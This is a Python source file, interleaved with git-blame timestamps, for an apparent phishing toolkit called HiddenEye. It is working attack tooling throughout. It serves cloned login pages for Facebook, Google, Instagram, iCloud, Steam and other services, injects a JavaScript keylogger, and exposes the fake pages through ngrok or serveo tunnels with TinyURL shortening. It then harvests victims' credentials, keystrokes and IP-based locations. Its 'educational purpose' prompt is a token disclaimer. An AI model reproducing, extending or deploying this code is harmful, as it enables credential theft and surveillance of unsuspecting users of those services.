2018-06-18 11:10:40 +08:00
#!/usr/bin/python3
2018-03-26 22:24:30 +08:00
#-*- coding: utf-8 -*-
2018-10-28 18:50:46 +08:00
# HiddenEye v1.0
# By:- DARKSEC TEAM
2018-03-26 22:24:30 +08:00
#
###########################
from time import sleep
2018-08-23 09:14:16 +08:00
from sys import stdout , exit , argv
2018-03-26 22:24:30 +08:00
from os import system , path
2018-06-04 15:46:58 +08:00
from distutils . dir_util import copy_tree
2018-03-26 22:24:30 +08:00
import multiprocessing
2018-06-18 11:10:40 +08:00
from urllib . request import urlopen , quote , unquote
2018-03-26 22:24:30 +08:00
from platform import system as systemos , architecture
from wget import download
2018-06-07 22:01:32 +08:00
import re
2018-06-08 18:41:31 +08:00
import json
2018-07-31 11:27:19 +08:00
from subprocess import check_output
2018-06-07 17:37:44 +08:00
2018-06-07 17:27:22 +08:00
2018-10-27 08:50:24 +08:00
RED , WHITE , CYAN , GREEN , DEFAULT = ' \033 [91m ' , ' \033 [46m ' , ' \033 [36m ' , ' \033 [1;32m ' , ' \033 [0m '
2018-03-26 22:24:30 +08:00
2018-10-27 08:50:24 +08:00
def connected ( host = ' http://duckduckgo.com ' ) : #Checking network connection.
2018-03-26 22:24:30 +08:00
try :
urlopen ( host )
return True
except :
return False
2018-10-27 08:50:24 +08:00
if connected ( ) == False : #If there no network
2018-10-28 18:50:46 +08:00
print ( ''' {0} [ {1} ! {0} ] {1} Network error. Verify your Internet connection. \n
2018-10-27 08:50:24 +08:00
''' .format(RED, DEFAULT))
2018-03-26 22:24:30 +08:00
exit ( 0 )
2018-10-27 08:50:24 +08:00
def checkNgrok ( ) : #Check if user already have Ngrok server, if False - downloading it.
if path . isfile ( ' Server/ngrok ' ) == False :
2018-07-31 11:27:19 +08:00
print ( ' [*] Downloading Ngrok... ' )
if ' Android ' in str ( check_output ( ( ' uname ' , ' -a ' ) ) ) :
filename = ' ngrok-stable-linux-arm.zip '
else :
ostype = systemos ( ) . lower ( )
if architecture ( ) [ 0 ] == ' 64bit ' :
filename = ' ngrok-stable- {0} -amd64.zip ' . format ( ostype )
else :
filename = ' ngrok-stable- {0} -386.zip ' . format ( ostype )
url = ' https://bin.equinox.io/c/4VmDzA7iaHb/ ' + filename
download ( url )
system ( ' unzip ' + filename )
system ( ' mv ngrok Server/ngrok ' )
system ( ' rm -Rf ' + filename )
system ( ' clear ' )
checkNgrok ( )
2018-03-26 22:24:30 +08:00
2018-10-28 18:50:46 +08:00
def end ( ) : #Message when HiddenEye exit
2018-03-26 22:24:30 +08:00
system ( ' clear ' )
2018-10-28 18:50:46 +08:00
print ( ''' {1} THANK YOU FOR USING HIDDENEYE! JOIN DARKSEC TEAM NOW (github.com/DarkSecDevelopers).
WAITING FOR YOUR CONTRIBUTION . GOOD BYE ! { 1 } ''' .format(RED, DEFAULT, CYAN))
2018-03-26 22:24:30 +08:00
def loadModule ( module ) :
2018-10-28 19:55:57 +08:00
print ( ''' {0} [ {1} * {0} ] {1} %s Loading module.. {0} ''' . format ( CYAN , DEFAULT ) % module )
2018-03-26 22:24:30 +08:00
2018-10-27 08:50:24 +08:00
def runPhishing ( page , option2 ) : #Phishing pages selection menu
2018-10-18 23:27:00 +08:00
system ( ' rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/ ' )
2018-10-27 08:50:24 +08:00
if option2 == ' 1 ' and page == ' Facebook ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/fb_standard/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
if option2 == ' 2 ' and page == ' Facebook ' :
2018-06-18 11:10:40 +08:00
copy_tree ( " WebPages/fb_advanced_poll/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
if option2 == ' 3 ' and page == ' Facebook ' :
2018-06-18 11:10:40 +08:00
copy_tree ( " WebPages/fb_security_fake/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
if option2 == ' 4 ' and page == ' Facebook ' :
2018-06-18 11:10:40 +08:00
copy_tree ( " WebPages/fb_messenger/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif option2 == ' 1 ' and page == ' Google ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/google_standard/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif option2 == ' 2 ' and page == ' Google ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/google_advanced_poll/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif option2 == ' 3 ' and page == ' Google ' :
2018-06-18 11:10:40 +08:00
copy_tree ( " WebPages/google_advanced_web/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' LinkedIn ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/linkedin/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' GitHub ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/GitHub/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' StackOverflow ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/stackoverflow/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' WordPress ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/wordpress/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' Twitter ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/twitter/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' Snapchat ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/Snapchat_web/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' Yahoo ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/yahoo_web/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' Twitch ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/twitch/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' Microsoft ' :
2018-06-16 21:51:03 +08:00
copy_tree ( " WebPages/live_web/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' Steam ' :
2018-06-16 21:51:03 +08:00
copy_tree ( " WebPages/steam/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif page == ' iCloud ' :
copy_tree ( " WebPages/iCloud/ " , " Server/www/ " )
elif option2 == ' 1 ' and page == ' Instagram ' :
2018-06-18 11:10:40 +08:00
copy_tree ( " WebPages/Instagram_web/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif option2 == ' 2 ' and page == ' Instagram ' :
2018-06-04 15:46:58 +08:00
copy_tree ( " WebPages/Instagram_autoliker/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif option2 == ' 1 ' and page == ' VK ' :
2018-06-28 13:31:02 +08:00
copy_tree ( " WebPages/VK/ " , " Server/www/ " )
2018-10-27 08:50:24 +08:00
elif option2 == ' 2 ' and page == ' VK ' :
2018-06-28 13:31:02 +08:00
copy_tree ( " WebPages/VK_poll_method/ " , " Server/www/ " )
2018-06-07 17:27:22 +08:00
2018-08-23 09:14:16 +08:00
didBackground = True
logFile = None
for arg in argv :
2018-10-27 08:50:24 +08:00
if arg == " --nolog " : #If true - don't log
2018-08-23 09:14:16 +08:00
didBackground = False
if didBackground :
logFile = open ( " log.txt " , " w " )
2018-06-07 17:27:22 +08:00
2018-10-27 08:50:24 +08:00
def log ( ctx ) : #Writing log
if didBackground : #if didBackground == True, write
logFile . write ( ctx . replace ( RED , " " ) . replace ( WHITE , " " ) . replace ( CYAN , " " ) . replace ( GREEN , " " ) . replace ( DEFAULT , " " ) + " \n " )
2018-08-23 09:14:16 +08:00
print ( ctx )
2018-06-18 11:10:40 +08:00
2018-03-26 22:24:30 +08:00
def waitCreds ( ) :
2018-10-28 18:50:46 +08:00
print ( " {0} [ {1} * {0} ] {1} Looks Like Everything is Ready. Now Feel The Power. " . format ( CYAN , DEFAULT ) )
print ( " {0} [ {1} * {0} ] {1} KEEP EYE ON HIDDEN WORLD WITH DARKSEC. " . format ( RED , DEFAULT ) )
2018-10-28 19:55:57 +08:00
print ( " {0} [ {1} * {0} ] {1} Waiting for credentials//Keystrokes//Victim ' s device info. \n " . format ( CYAN , DEFAULT ) )
2018-03-26 22:24:30 +08:00
while True :
with open ( ' Server/www/usernames.txt ' ) as creds :
lines = creds . read ( ) . rstrip ( )
2018-06-28 16:37:27 +08:00
if len ( lines ) != 0 :
2018-10-27 08:50:24 +08:00
log ( ' ====================================================================== ' . format ( RED , DEFAULT ) )
log ( ' {0} [ CREDENTIALS FOUND ] {1} : \n {0} %s {1} ' . format ( GREEN , DEFAULT ) % lines )
2018-06-28 16:37:27 +08:00
system ( ' rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt ' )
2018-10-27 08:50:24 +08:00
log ( ' ====================================================================== ' . format ( RED , DEFAULT ) )
2018-10-28 18:50:46 +08:00
log ( ' {0} ***** I KNOW YOU ARE ENJOYING. SO MAKE IT POPULAR TO GET MORE FEATURES ***** {1} \n {0} {1} ' . format ( RED , DEFAULT ) )
2018-06-18 11:10:40 +08:00
2018-04-25 19:37:30 +08:00
creds . close ( )
2018-06-18 11:10:40 +08:00
2018-06-07 17:27:22 +08:00
with open ( ' Server/www/ip.txt ' ) as creds :
lines = creds . read ( ) . rstrip ( )
2018-06-28 16:37:27 +08:00
if len ( lines ) != 0 :
ip = re . match ( ' Victim Public IP: (.*?) \n ' , lines ) . group ( 1 )
resp = urlopen ( ' https://ipinfo.io/ %s /json ' % ip )
ipinfo = json . loads ( resp . read ( ) . decode ( resp . info ( ) . get_param ( ' charset ' ) or ' utf-8 ' ) )
if ' bogon ' in ipinfo :
2018-10-27 08:50:24 +08:00
log ( ' ====================================================================== ' . format ( RED , DEFAULT ) )
log ( ' \n {0} [ VICTIM IP BONUS ] {1} : \n {0} %s {1} ' . format ( GREEN , DEFAULT ) % lines )
2018-06-28 16:37:27 +08:00
else :
matchObj = re . match ( ' ^(.*?),(.*)$ ' , ipinfo [ ' loc ' ] )
latitude = matchObj . group ( 1 )
longitude = matchObj . group ( 2 )
2018-10-27 08:50:24 +08:00
log ( ' ====================================================================== ' . format ( RED , DEFAULT ) )
log ( ' \n {0} [ VICTIM INFO FOUND ] {1} : \n {0} %s {1} ' . format ( GREEN , DEFAULT ) % lines )
log ( ' \n {0} Longitude: %s \n Latitude: %s {1} ' . format ( GREEN , DEFAULT ) % ( longitude , latitude ) )
log ( ' \n {0} ISP: %s \n Country: %s {1} ' . format ( GREEN , DEFAULT ) % ( ipinfo [ ' org ' ] , ipinfo [ ' country ' ] ) )
log ( ' \n {0} Region: %s \n City: %s {1} ' . format ( GREEN , DEFAULT ) % ( ipinfo [ ' region ' ] , ipinfo [ ' city ' ] ) )
2018-06-28 16:37:27 +08:00
system ( ' rm -rf Server/www/ip.txt && touch Server/www/ip.txt ' )
2018-10-27 08:50:24 +08:00
log ( ' ====================================================================== ' . format ( RED , DEFAULT ) )
2018-06-18 11:10:40 +08:00
2018-06-07 17:27:22 +08:00
creds . close ( )
2018-10-27 08:50:24 +08:00
2018-10-18 23:00:58 +08:00
with open ( ' Server/www/KeyloggerData.txt ' ) as creds :
lines = creds . read ( ) . rstrip ( )
if len ( lines ) != 0 :
2018-10-27 08:50:24 +08:00
log ( ' ______________________________________________________________________ ' . format ( RED , DEFAULT ) )
2018-10-28 18:50:46 +08:00
log ( ' {0} [KEY PRESSED ] {1} : \n {0} %s {1} ' . format ( GREEN , DEFAULT ) % lines )
2018-10-18 23:00:58 +08:00
system ( ' rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt ' )
2018-10-27 08:50:24 +08:00
log ( ' ______________________________________________________________________ ' . format ( RED , DEFAULT ) )
2018-10-18 23:00:58 +08:00
creds . close ( )
2018-06-18 11:10:40 +08:00
2018-03-26 22:24:30 +08:00
2018-10-27 08:50:24 +08:00
def runPEnv ( ) : #menu where user select what they wanna use
2018-03-26 22:24:30 +08:00
system ( ' clear ' )
2018-10-28 19:55:57 +08:00
print ( '''
_________________________________________________________________________________
- - - - - - > { 2 } HIDDEN EYE { 2 } < - - - - - - -
{ 0 } KEEP EYE ON HIDDEN WORLD WITH DARKSEC .
2018-10-28 18:50:46 +08:00
{ 0 } [ LIVE VICTIM ATTACK INFORMATION ]
{ 0 } [ LIVE KEYSTROKES CAN BE CAPTURED ]
2018-10-27 08:50:24 +08:00
_________________________________________________________________________________
{ 1 } ''' .format(GREEN, DEFAULT, CYAN))
2018-10-28 19:55:57 +08:00
2018-10-27 08:50:24 +08:00
if 256 != system ( ' which php ' ) : #Checking if user have PHP
2018-10-28 19:55:57 +08:00
print ( " PHP INSTALLATION FOUND " . format ( CYAN , DEFAULT ) )
2018-03-26 22:24:30 +08:00
else :
2018-10-28 18:50:46 +08:00
print ( " -- {0} > {1} PHP NOT FOUND: \n {0} * {1} Please install PHP and run HiddenEye again.http://www.php.net/ " . format ( RED , DEFAULT ) )
2018-03-26 22:24:30 +08:00
exit ( 0 )
2018-10-28 19:55:57 +08:00
for i in range ( 101 ) :
sleep ( 0.05 )
stdout . write ( " \r {0} [ {1} * {0} ] {1} Eye is Opening. Please Wait... %d %% " . format ( CYAN , DEFAULT ) % i )
stdout . flush ( )
if input ( " \n \n {0} [ {1} ! {0} ] {1} DO YOU AGREE TO USE THIS TOOL FOR EDUCATIONAL PURPOSE ? (y/n) \n \n {2} [HIDDENEYE-DARKSEC]- > {1} " . format ( RED , DEFAULT , CYAN ) ) . upper ( ) != ' Y ' : #Question where user must accept education purposes
2018-03-26 22:24:30 +08:00
system ( ' clear ' )
2018-10-28 19:55:57 +08:00
print ( ' \n \n [ {0} YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE! {1} ] \n \n ' . format ( RED , DEFAULT ) )
2018-10-28 18:50:46 +08:00
exit ( 0 )
2018-10-28 19:55:57 +08:00
option = input ( " \n Select an option: \n \n {0} [ {1} 1 {0} ] {1} Facebook \n \n {0} [ {1} 2 {0} ] {1} Google \n \n {0} [ {1} 3 {0} ] {1} LinkedIn \n \n {0} [ {1} 4 {0} ] {1} GitHub \n \n {0} [ {1} 5 {0} ] {1} StackOverflow \n \n {0} [ {1} 6 {0} ] {1} WordPress \n \n {0} [ {1} 7 {0} ] {1} Twitter \n \n {0} [ {1} 8 {0} ] {1} Instagram \n \n {0} [ {1} 9 {0} ] {1} Snapchat \n \n {0} [ {1} 10 {0} ] {1} Yahoo \n \n {0} [ {1} 11 {0} ] {1} Twitch \n \n {0} [ {1} 12 {0} ] {1} Microsoft \n \n {0} [ {1} 13 {0} ] {1} Steam \n \n {0} [ {1} 14 {0} ] {1} VK \n \n {0} [ {1} 15 {0} ] {1} iCloud \n \n {0} [HIDDENEYE-DARKSEC]- > {1} " . format ( CYAN , DEFAULT ) )
2018-03-26 22:24:30 +08:00
if option == ' 1 ' :
loadModule ( ' Facebook ' )
2018-10-28 19:55:57 +08:00
option2 = input ( " \n Operation mode: \n \n {0} [ {1} 1 {0} ] {1} Standard Page Phishing \n \n {0} [ {1} 2 {0} ] {1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with) \n \n {0} [ {1} 3 {0} ] {1} Facebook Phishing- Fake Security issue(security_mode) \n \n {0} [ {1} 4 {0} ] {1} Facebook Phising-Messenger Credentials(messenger_mode) \n \n {0} [HIDDENEYE-DARKSEC]- > {1} " . format ( CYAN , DEFAULT ) )
2018-03-26 22:24:30 +08:00
runPhishing ( ' Facebook ' , option2 )
elif option == ' 2 ' :
loadModule ( ' Google ' )
2018-10-28 19:55:57 +08:00
option2 = input ( " \n Operation mode: \n \n {0} [ {1} 1 {0} ] {1} Standard Page Phishing \n \n {0} [ {1} 2 {0} ] {1} Advanced Phishing(poll_mode/login_with) \n \n {0} [ {1} 3 {0} ] {1} New Google Web \n \n {0} [HIDDENEYE-DARKSEC]- > {1} " . format ( CYAN , DEFAULT ) )
2018-03-26 22:24:30 +08:00
runPhishing ( ' Google ' , option2 )
elif option == ' 3 ' :
loadModule ( ' LinkedIn ' )
option2 = ' '
runPhishing ( ' LinkedIn ' , option2 )
elif option == ' 4 ' :
loadModule ( ' GitHub ' )
option2 = ' '
runPhishing ( ' GitHub ' , option2 )
elif option == ' 5 ' :
loadModule ( ' StackOverflow ' )
option2 = ' '
runPhishing ( ' StackOverflow ' , option2 )
elif option == ' 6 ' :
loadModule ( ' WordPress ' )
option2 = ' '
runPhishing ( ' WordPress ' , option2 )
elif option == ' 7 ' :
loadModule ( ' Twitter ' )
option2 = ' '
runPhishing ( ' Twitter ' , option2 )
elif option == ' 8 ' :
loadModule ( ' Instagram ' )
2018-10-28 19:55:57 +08:00
option2 = input ( " \n Operation mode: \n \n {0} [ {1} 1 {0} ] {1} Standard Instagram Web Page Phishing \n \n {0} [ {1} 2 {0} ] {1} Instagram Autoliker Phising (After submit redirects to original autoliker) \n \n {0} [HIDDENEYE-DARKSEC]- > {1} " . format ( CYAN , DEFAULT ) )
2018-04-22 13:50:53 +08:00
runPhishing ( ' Instagram ' , option2 )
elif option == ' 9 ' :
loadModule ( ' Snapchat ' )
option2 = ' '
2018-04-24 22:21:51 +08:00
runPhishing ( ' Snapchat ' , option2 )
elif option == ' 10 ' :
loadModule ( ' Yahoo ' )
option2 = ' '
2018-04-26 19:09:54 +08:00
runPhishing ( ' Yahoo ' , option2 )
elif option == ' 11 ' :
loadModule ( ' Twitch ' )
option2 = ' '
2018-06-18 11:10:40 +08:00
runPhishing ( ' Twitch ' , option2 )
2018-06-04 18:46:00 +08:00
elif option == ' 12 ' :
2018-06-04 19:06:18 +08:00
loadModule ( ' Microsoft ' )
2018-06-04 18:46:00 +08:00
option2 = ' '
2018-06-18 11:10:40 +08:00
runPhishing ( ' Microsoft ' , option2 )
2018-06-16 21:51:03 +08:00
elif option == ' 13 ' :
loadModule ( ' Steam ' )
option2 = ' '
runPhishing ( ' Steam ' , option2 )
2018-06-28 13:31:02 +08:00
elif option == ' 14 ' :
loadModule ( ' VK ' )
2018-10-28 19:55:57 +08:00
option2 = input ( " \n Operation mode: \n \n {0} [ {1} 1 {0} ] {1} Standard VK Web Page Phishing \n \n {0} [ {1} 2 {0} ] {1} Advanced Phishing(poll_mode/login_with) \n \n {0} [HIDDENEYE-DARKSEC]- > {1} " . format ( CYAN , DEFAULT ) )
2018-06-28 13:31:02 +08:00
runPhishing ( ' VK ' , option2 )
2018-07-12 19:51:56 +08:00
elif option == ' 15 ' :
loadModule ( ' iCloud ' )
option2 = ' '
2018-10-27 08:50:24 +08:00
runPhishing ( ' iCloud ' , option2 )
2018-03-31 18:43:16 +08:00
else :
2018-10-28 19:55:57 +08:00
system ( ' clear && ./HiddenEye.py ' )
2018-07-28 15:04:38 +08:00
2018-10-27 08:50:24 +08:00
def runServeo ( ) :
2018-09-05 17:33:17 +08:00
system ( ' ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null & ' )
2018-09-08 19:09:05 +08:00
sleep ( 7 )
2018-09-05 17:33:17 +08:00
output = check_output ( " grep -o ' https://[0-9a-z]* \ .serveo.net ' link.url " , shell = True )
url = str ( output ) . strip ( " b ' \ n " )
2018-10-27 08:50:24 +08:00
print ( " \n {0} [ {1} * {0} ] {1} SERVEO URL: {2} " . format ( CYAN , DEFAULT , GREEN ) + url + " {1} " . format ( CYAN , DEFAULT , GREEN ) )
2018-09-08 19:26:11 +08:00
link = check_output ( " curl -s ' http://tinyurl.com/api-create.php?url= ' " + url , shell = True ) . decode ( ) . replace ( ' http ' , ' https ' )
2018-10-27 08:50:24 +08:00
print ( " \n {0} [ {1} * {0} ] {1} TINYURL: {2} " . format ( CYAN , DEFAULT , GREEN ) + link + " {1} " . format ( CYAN , DEFAULT , GREEN ) )
2018-09-06 13:34:26 +08:00
print ( " \n " )
2018-10-27 08:50:24 +08:00
2018-07-31 11:27:19 +08:00
def runNgrok ( ) :
system ( ' ./Server/ngrok http 1111 > /dev/null & ' )
2018-08-23 09:14:16 +08:00
while True :
sleep ( 2 )
system ( ' curl -s -N http://127.0.0.1:4040/status | grep " https://[0-9a-z]* \ .ngrok.io " -oh > ngrok.url ' )
urlFile = open ( ' ngrok.url ' , ' r ' )
url = urlFile . read ( )
urlFile . close ( )
if re . match ( " https://[0-9a-z]* \ .ngrok.io " , url ) != None :
2018-10-27 08:50:24 +08:00
print ( " \n {0} [ {1} * {0} ] {1} Ngrok URL: {2} " . format ( CYAN , DEFAULT , GREEN ) + url + " {1} " . format ( CYAN , DEFAULT , GREEN ) )
2018-09-08 19:26:11 +08:00
link = check_output ( " curl -s ' http://tinyurl.com/api-create.php?url= ' " + url , shell = True ) . decode ( ) . replace ( ' http ' , ' https ' )
2018-10-27 08:50:24 +08:00
print ( " \n {0} [ {1} * {0} ] {1} TINYURL: {2} " . format ( CYAN , DEFAULT , GREEN ) + link + " {1} " . format ( CYAN , DEFAULT , GREEN ) )
2018-09-06 13:34:26 +08:00
print ( " \n " )
2018-08-23 09:14:16 +08:00
break
2018-10-27 08:50:24 +08:00
2018-03-26 22:24:30 +08:00
def runServer ( ) :
2018-08-19 12:00:52 +08:00
system ( " cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null 2>&1 & " )
2018-10-27 08:50:24 +08:00
2018-03-26 22:24:30 +08:00
if __name__ == " __main__ " :
try :
runPEnv ( )
2018-10-27 08:50:24 +08:00
def custom ( ) : #Question where user can input custom web-link
print ( " \n {0} Insert a custom redirect url: " . format ( CYAN , DEFAULT ) )
2018-10-28 19:55:57 +08:00
custom = input ( " \n {0} [HIDDENEYE-DARKSEC]- > {1} " . format ( CYAN , DEFAULT ) )
2018-10-27 08:50:24 +08:00
if ' http:// ' or ' https:// ' in custom :
2018-10-17 00:03:33 +08:00
pass
else :
custom = ' http:// ' + custom
if path . exists ( ' Server/www/post.php ' ) and path . exists ( ' Server/www/login.php ' ) :
with open ( ' Server/www/login.php ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/login.php ' , ' w ' )
f . write ( c )
f . close ( )
with open ( ' Server/www/post.php ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/post.php ' , ' w ' )
f . write ( c )
f . close ( )
else :
with open ( ' Server/www/login.php ' ) as f :
read_data = f . read ( )
c = read_data . replace ( ' <CUSTOM> ' , custom )
f = open ( ' Server/www/login.php ' , ' w ' )
f . write ( c )
f . close ( )
custom ( )
2018-10-27 08:50:24 +08:00
def server ( ) : #Question where user must select server
print ( " \n {0} Please select any available server: {1} " . format ( CYAN , DEFAULT ) )
print ( " \n {0} [ {1} 1 {0} ] {1} Ngrok \n {0} [ {1} 2 {0} ] {1} Serveo " . format ( CYAN , DEFAULT ) )
2018-10-28 19:55:57 +08:00
choice = input ( " \n {0} [HIDDENEYE-DARKSEC]- > {1} " . format ( CYAN , DEFAULT ) )
2018-07-31 11:27:19 +08:00
if choice == ' 1 ' :
2018-08-09 12:47:08 +08:00
runNgrok ( )
2018-08-09 11:12:15 +08:00
elif choice == ' 2 ' :
2018-10-27 08:50:24 +08:00
runServeo ( )
2018-07-31 11:27:19 +08:00
else :
2018-08-09 12:47:08 +08:00
system ( ' clear ' )
2018-08-09 12:38:03 +08:00
return server ( )
2018-07-31 11:27:19 +08:00
server ( )
2018-03-26 22:24:30 +08:00
multiprocessing . Process ( target = runServer ) . start ( )
2018-10-27 08:50:24 +08:00
waitCreds ( )
2018-07-28 15:04:38 +08:00
2018-10-27 08:50:24 +08:00
except KeyboardInterrupt :
2018-03-26 22:24:30 +08:00
end ( )
2018-03-31 14:48:38 +08:00
exit ( 0 )